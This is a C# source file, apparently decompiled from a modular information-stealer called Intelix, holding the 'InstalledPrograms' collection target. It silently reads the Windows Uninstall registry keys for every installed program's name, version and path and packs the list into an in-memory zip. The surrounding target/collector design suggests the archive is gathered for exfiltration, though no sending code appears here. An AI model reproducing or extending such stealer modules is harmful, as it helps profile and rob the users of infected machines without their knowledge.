using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Intelix.Helper.Data;
using Microsoft.Win32;

namespace Intelix.Targets.Device;

public class InstalledPrograms : ITarget
{
	private class InstalledProgram
	{
		public string Name { get; set; }

		public string Version { get; set; }

		public string InstallLocation { get; set; }
	}

	public void Collect(InMemoryZip zip, Counter counter)
	{
		List<InstalledProgram> list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList();
		if (list.Count != 0)
		{
			int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0));
			int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0));
			int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0));
			List<string> list2 = new List<string>();
			list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion));
			list2.Add(new string('-', maxName + maxPath + maxVersion + 6));
			List<string> list3 = list2;
			list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion)));
			zip.AddTextFile("InstalledPrograms.txt", string.Join("\n", list3));
		}
	}

	private static List<InstalledProgram> GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter)
	{
		ConcurrentBag<InstalledProgram> installedPrograms = new ConcurrentBag<InstalledProgram>();
		using (RegistryKey registryKey = root.OpenSubKey(uninstallKey))
		{
			if (registryKey == null)
			{
				return new List<InstalledProgram>();
			}
			string[] subKeyNames = registryKey.GetSubKeyNames();
			if (subKeyNames == null || subKeyNames.Length == 0)
			{
				return new List<InstalledProgram>();
			}
			Parallel.ForEach(subKeyNames, delegate(string subkeyName)
			{
				try
				{
					using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName);
					string text = registryKey2?.GetValue("DisplayName") as string;
					if (!string.IsNullOrEmpty(text))
					{
						InstalledProgram item = new InstalledProgram
						{
							Name = text.Trim(),
							Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"),
							InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown")
						};
						installedPrograms.Add(item);
					}
				}
				catch
				{
				}
			});
		}
		return installedPrograms.ToList();
	}
}